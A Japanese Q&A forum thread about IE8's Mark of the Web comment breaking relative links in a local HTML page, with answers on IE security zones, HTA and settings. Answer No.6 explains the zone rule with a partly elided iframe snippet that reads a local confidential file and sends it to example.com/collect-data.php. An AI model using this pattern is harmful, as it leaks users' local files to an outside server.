• 締切済み

ローカルHTMLでセキュリティブロック解除

環境 internet explorer8 windows xp sp3 ローカルでHTMLを作成しております。 起動時に毎回セキュリティ保護のため~という警告?がでますので、以下を<HEAD>に入力し出さないようにしました。 <!-- saved from url=(0014)about:internet --> 警告は出なくなったのですが、今度は相対パスで指定したファイルのリンクがつながらなくなりました。 (例) <a href="data/pdf/test.pdf">ここをクリック</a> 対処法などありましたら教えて頂きたく。

みんなの回答

  • dscripty
  • ベストアンサー率51% (166/325)
回答No.6

あらら、ちょっとはしょりすぎたみたい。 | うーん・・・こちらの意図が伝わってなかったようですね。 | 今回作成したものは、ネットに公開しません。 引用ページをかみくだいて、今回のケースにあてはめて説明するね。 IE(一般的なウェブブラウザもそうだけど)は、セキュリティーゾーンといういくつかの、区域に分けてそれぞれがセキュリティー上支障がないように、ぞれぞれの区域ごとに許可レベルを設定して安心して IE を使えるようにしてあるんだけど、 ローカルゾーンであるはずの PC 上の HTML ファイルを、質問者さんは、みずから、インターネットゾーンに変えてしまっているわけだから、 IE はそのファイルを『ローカル』じゃなくて、『インターネットで信頼できるかわからない』ファイルとして、あつかっているわけ、 説明は不要だとおもうけど、いちおう書いておくね。 もし、『インターネットで信頼できるかわからない』ページに、ローカルファイルへのアクセスを許したらどうなるかというと、 例えば、http://example.com/index.html というファイルがあって、 | <iframe | onload="location.href='http://example.com/collect-data.php?data=' & encodeURI( | this.contentWindow……<省略>);" | src="file:///C:/Documents and Settings/Administrator/デスクトップ/社内秘.txt"></iframe> ↑のように書かれていたとき、↓にアクセスするだけで、 http://example.com/index.html ↓が example.com サーバへおくられちゃうということ。 file:///C:/Documents and Settings/Administrator/デスクトップ/社内秘.txt これで、「<!--saved from url=(0014)about:internet -->」のあきらめついた?

全文を見る
すると、全ての回答が全文表示されます。
  • dscripty
  • ベストアンサー率51% (166/325)
回答No.5

インターネット上のウェブページがローカルにあるファイルにアクセスできちゃったら、情報漏洩させられまくりだよ? http://technet.microsoft.com/ja-jp/library/cc782928(v=ws.10).aspx ----引用---- Web ページを常にインターネット ゾーンの一部として処理する場合 は、次の Web のマークを使用するこ とができます。 <!--saved from url=(0014)about:internet --> このコメントを使用するのは、Web のマークを一般的に挿入する場合で す。about:internet の部分は、この ページをインターネット ゾーンに入 れることを示します。 ----引用おわり----

mikanbako00
質問者

お礼

うーん・・・こちらの意図が伝わってなかったようですね。 今回作成したものは、ネットに公開しません。 あくまで、ローカルで使用する為に作っております。 そもそも、ネットに公開(サーバーにアップ)した場合、今回のようなセキュリティの保護云々の警告は出ませんので(出にくい?)・・・ (少なくとも今回作っているものは出ません確認済みです) なぜか、IEはローカルのほうがセキュリティ設定が厳しいんですよね。 なんとかならんかなー

全文を見る
すると、全ての回答が全文表示されます。
  • dscripty
  • ベストアンサー率51% (166/325)
回答No.4

そういうことなら、解決策は、下のどちらかかな? 1) script タグを使わない。 2) html 内のスクリプトを完全に信用して .hta(※ HTML Application) を使う。 (※ HTML Application) http://msdn.microsoft.com/ja-jp/library/ms536496%28v=vs.85%29.aspx http://en.wikipedia.org/wiki/HTML_Application

mikanbako00
質問者

お礼

実はHTAも作成したことがあるんです。 リンクが必ず別ウィンドウで立ち上がる、リンクを開いた時に警告ウィンドウが出るなど色々問題点がありましたが、一応クリアできております。 が、ちょっと上記とは別エラーで使い物にならず(ここでのエラーは割愛させて頂きます、質問の主旨が変わってしまいますので)他の方法を探しておりました。 とりあえず、なぜ質問の方法でリンクが使えないのか等原因を教えて頂けると諦めが付きます。

全文を見る
すると、全ての回答が全文表示されます。
  • dscripty
  • ベストアンサー率51% (166/325)
回答No.3

セキュリティーに疎いなら、 [ANo.2] さんの回答のように設定にした PC ではインターネットからウェブページのダウンロード保存はしないようにね! これも、セキュリティーに疎いなら、おすすめできないけど 『PC にウェブサーバをインストールする』 おすすめは、 『誰かにウェブサーバを作ってもらってそれを使わせてもらう』が楽でいいね。

mikanbako00
質問者

お礼

回答ありがとうございます。 今回はローカルでHTMLを作成・利用するということで、ウェブサーバーの構築または利用しないという条件です。

全文を見る
すると、全ての回答が全文表示されます。
  • mikemike7
  • ベストアンサー率87% (97/111)
回答No.2

とりあえず <!-- saved from url=(0014)about:internet --> を消しましょう。 IEのツール→インターネットオプション→詳細設定タブ と移動して、セキュリティの項目にある マイコンピュータのファイルでのアクティブ コンテンツの実行を許可する にチェックを入れれば警告はでなくなるかもしれません。

mikanbako00
質問者

お礼

すみません。説明不足でした。 IEの設定で警告を出さなく出来るかもしれないというのは知っていましたが、その方法は取りたくなく、今回のような苦肉の策をやりました。 回答ありがとうございます。

mikanbako00
質問者

補足

他にはHTAに変換という手もあるみたいですが、できればHTMLのまま利用したいと思っております。

全文を見る
すると、全ての回答が全文表示されます。
  • 0909union
  • ベストアンサー率39% (325/818)
回答No.1

>saved from url=(0014)about:internet --> ????? 何だこりゃ・・・・・ IEだと(?)思うが、アプリのエンコードなしの保存ファイルと思われる。 >今度は相対パスで指 あたりまですよね。そのアプリ独自のフォーマットで保存されるので。Filesなどのフォルダーに保存されると(他の意味のあるメタデーターを良く見ること)、そのパスが必要です。 一度、IEなどの「名前をつけて保存」で、ソースコードを研究してください(2、3分で分かると思うよ)。

mikanbako00
質問者

お礼

回答ありがとうございます。 <!-- saved from url=(0014)about:internet --> ↑これはMark of the Webというものです。 参考(MSDN)・・・http://msdn.microsoft.com/en-us/library/ms537628(VS.85).aspx まぁ、これを使うのがベストかの判断は私には出来ませんが、探して見つかった方法がこれでしたので・・・ IEなどの名前をつけて保存?てのはよく分からなかったです。 Webページのソースを見るときはいつも表示→ソースを使っておりますので(こういうことじゃないのかな?)

全文を見る
すると、全ての回答が全文表示されます。

関連するQ&A

  • ローカルテストサーバーと本番サーバーにおける、相対パス表記のズレについて。

    初歩的な質問かもしれませんが、よろしくお願いします。 現在、webサイトを制作中で、ローカルでテストできるように、自分のPCにXAMPPをインストールしました。 本番サイトのトップページURLが、http://example.comであるとすると、このページは ローカルテスト上では、http://localhost/example.comとブラウザには表示されます。 つまり、あたまに「localhost/」が付く分だけ、本番サイトとは、1階層のズレが生じます。 このhttp://example.comのトップページで、http://example.com/about.html でアクセスできるページへのリンクを貼る場合、 「http://example.com/about.html」という絶対パスでリンクを貼ると、ローカルから本番へと飛んでしまうことになります。 なので、リンクを貼る場合、絶対パスではなく相対パスで貼る必要があると感じているのですが、 その書き方がよく分からないのです。 http://example.com/about.html というページのトップページからの相対パスは、 本番サイト上では、「./about.html」と表記でき、 (http://example.com/about.html だから1階層下) ローカルテスト上では、「././about.html」と表記することになるので、 (http://localhost/example.com/about.html だから2階層下) テスト後、本番にアップする際にいちいちパスを修正しなければならなくなり、これだと不便です。 テストしてOKだったHTMLを修正せずに、そのまま本番のサーバーへとアップする方法がありましたら、教えて下さい。 ・PCのOS:winXPsp2 ・dreamweaver CS3(win) ・phpファイルもアップすることがあります。

  • HTML何ヵ所かからPDFにリンクさせるには?

    HTML何ヵ所かからPDFにリンクさせるには? HTMLファイルからPDFにリンクさせるには、Adobe Acrobat 7.0 の場合、 PDF Open Parameters(http://partners.adobe.com/public/developer/en/acrobat/PDFOpenParameters.pdf ) で紹介があり、 例えば <A href="***.pdf#page=2&view=FitH,top">第1のリンク先へ</A> でAdobe Acrobat 7.0 で作成したPDFファイル(***.pdf)のページ2のトップにリンクできることは確認しました。 ところが同じHTMLファイル何ヵ所かから、同じPDFファイル(***.pdf)の異なるページにリンクさせることができません。 例えば、 <A href="***.pdf#page=5&view=FitH,top">第2のリンク先へ</A> <A href="***.pdf#page=8&view=FitH,top">第3のリンク先へ</A> として、他の2ヵ所から、其々ページ5とページ8 へジャンプさせようとしましたが、全てページ2にジャンプしてしまいます。 HTMLファイル複数箇所から同一のPDF何ヵ所かへリンクさせるにことはできるのでしょうか? また、その方法を教えてください。 更に、Adobe Acrobat 7.0 の他で作成したPDFファイルへリンクさせる場合も同様にできるのでしょうか? よろしくお願いします。

  • HTML相対パスの設定方法について

    index.html━┳━tokyo.html         ┃         ┣━folder1━page1.html         ┃         ┗━folder2━page2.html このサイトでpage1.htmlからpage2.htmlへリンクを設定したいのですが、絶対パスではなく、相 対パスを使いたいのですが、いい方法はないでしょうか。 どうしても相対パスができない場合は、index.htmlにジャンプして、そこから自動的にジャンプす るようにしたいのですが、問題はないでしょうか。 ------------------- パス <a href=" ">リンク</a> -------------------- ジャンプ <html> <head> <meta http-equiv="Refresh" content="0;URL=folder2/page2.html"> <title>TAG index Webサイト</title> </head> <body> ・ ・ ・ </body> </html> ----------------------

    • ベストアンサー
    • HTML
  • HTMLリンクからPDFのしおりへリンク指定する方法

    HTML<a href=\"~リンク\">からPDFのしおりへのリンク指定方法についてご存知の方がいらしたら教えていただけませんか? PDF内の任意のページ(n)へのアンカー指定方法は「***.pdf#page=n」というところまでは分かりましたが、できればPDFの「しおり」を利用した、あるページの中のあるテキストへHTMLのアンカーリンクの様に飛ぶことができればと考えています。 条件としては、ユーザーがクリックするリンクはHTMLのa hrefです。 宜しくお願いいたします。

    • ベストアンサー
    • HTML
  • URLの相対指定について

    いま、BASEタグを使ってURLを相対指定して、簡略化をしているHTML文書があります。 このHTML内で、もう一つ別の相対指定の基準を指定する方法はあるのでしょうか? リンクの位置関係は簡単に書くと下のようになってます。 Web Site +-HTML文書 +-リンク先のファイル(複数) Local +-リンク先のファイル(多数) Localのリンク先のファイルが多数あるので、 いちいち<A href="file:///.....と書くのがいやなので、 BASEタグによる基準をLocalのフォルダにしています。 しかし、こうするとWeb Site上へのリンクはいちいち、 <A href="http://.....と絶対指定しなければなりません。 これを回避したいのです。

  • HTMLタグが入力できません

    私、今、HPを作ろうと思っているんですけれども、HTML式でやっています。 それで、『トップ』や、『プロフィール』などのタグを入力してやってみたら、そこだけないんです。 ちゃんと入力もしましたし、内容もぜんぜん間違っていません。 ちなみに、入力したタグです。 hr width="500"> <a href="index.html">トップ</a>  <a href="about.html">プロフィール</a>  <a href="link.html">リンク集</a><br> <hr width="500"><br><br> 早めにお願いします。早く知りたいので...。

  • saved from url=(0013)abou

    ローカルで見るときに便利だと教えてもらったので HTML文書の先頭に以下の記述を入れています。 <!-- saved from url=(0013)about:internet --> やっとトップページが完成したので、これを外して アップロードしようとしたらレイアウトが大きくずれて 唖然としてしまいました。 具体的に言うとフッターがど真ん中に来てしまいます。 上記の記述を入れると真下で固定してくれます。 CSSに根本的な欠陥があると思うんですけど、 <!-- saved from url=(0013)about:internet --> を入れたままアップロードしても良いのでしょうか。 良ければこれで完成としたいと思います。 考え方がおかしければ作り直したいと思います。

    • ベストアンサー
    • HTML
  • リンク先のローカルファイルが開かない

    自分のサイトのソース内に 自分のPCのローカルのPDFのリンクを貼りたいのですが そのリンクをクリックしても何も起きません。 <a href="C:\Users\○○.pdf"> リンク</a> のようにしています。 IEでもグーグルクロームでも開けませんでした。 グーグルクロームのデペロッパーツールで見てみると リンクをクリックするたびに Not allowed to load local resource:file:///○○.pdf の文字が増えていくのですが どういう意味でしょうか? 「Not allowed to load local resource」 を翻訳してみたら 「ローカルリソースをロードすることはできません」 となりましたが、 ダイレクトにリンク先のローカルファイルをコピペすると開けます。 PDF自体は破損していません。

    • ベストアンサー
    • HTML
  • Win XP Professionalのローカル上でHTMLファイルがうまく表示されない…

    WEBデザイナー(駆け出し)です。 mac(9.2.2)Dreamweaver3で作成、WindowsXP HomeEditionで動作確認したHTMLファイルなんですが、動作確認したWin上のデータをCDに焼き、クライアントのXP Professionalにコピーし開いた所、ファイルの一部がリンク切れになってしまいました。 リンクにはアンカーポイントは使っていますが、Javaなどは使用していません。 また、こちらのHTMLファイルはwebサーバ上では正常に作動しているので、ファイル自体の組み方が間違っているとは考えにくいのです。 XP Professional(ローカル上)での表示する際に何か設定を変えたり、リンクの張り方を(例えば相対パス→絶対パスに変えたりする)考え直す必要があるのでしょうか? あるいはXP Professionalの設定でなにかする必要があるんでしょうか? まったくわからなくお手上げです。 どなたかお答えいただけると嬉しいです。

  • HTMLの画像のリンクの<タグ>について。わかる方、教えてください。

    HTMLの画像のリンクの<タグ>について。わかる方、教えてください。 HTMLの勉強をはじめたのですが。画像のリンクのタグのところで、つまずいています。 ↓学校でとったノートです。 ひとつひとつの記述の意味などを、どうか解説して教えてください。 <a href="../photo01.jpg"> <img border="0" src="../photo01.jpg" alt="グランドキャニオンの写真" title="グランドキャニオンへ旅行をした時の思い出の写真。  クリックしたら拡大します" width="100" /> もう、なにがなにやら・・・混乱してしまっているのですが、とくに../というのは、現在の場所からの相対的パスの記述のようなのですが。絶対的パスをするときの記述のしかたが、わからないのです。 教えてください。お願いします。m(_ _)m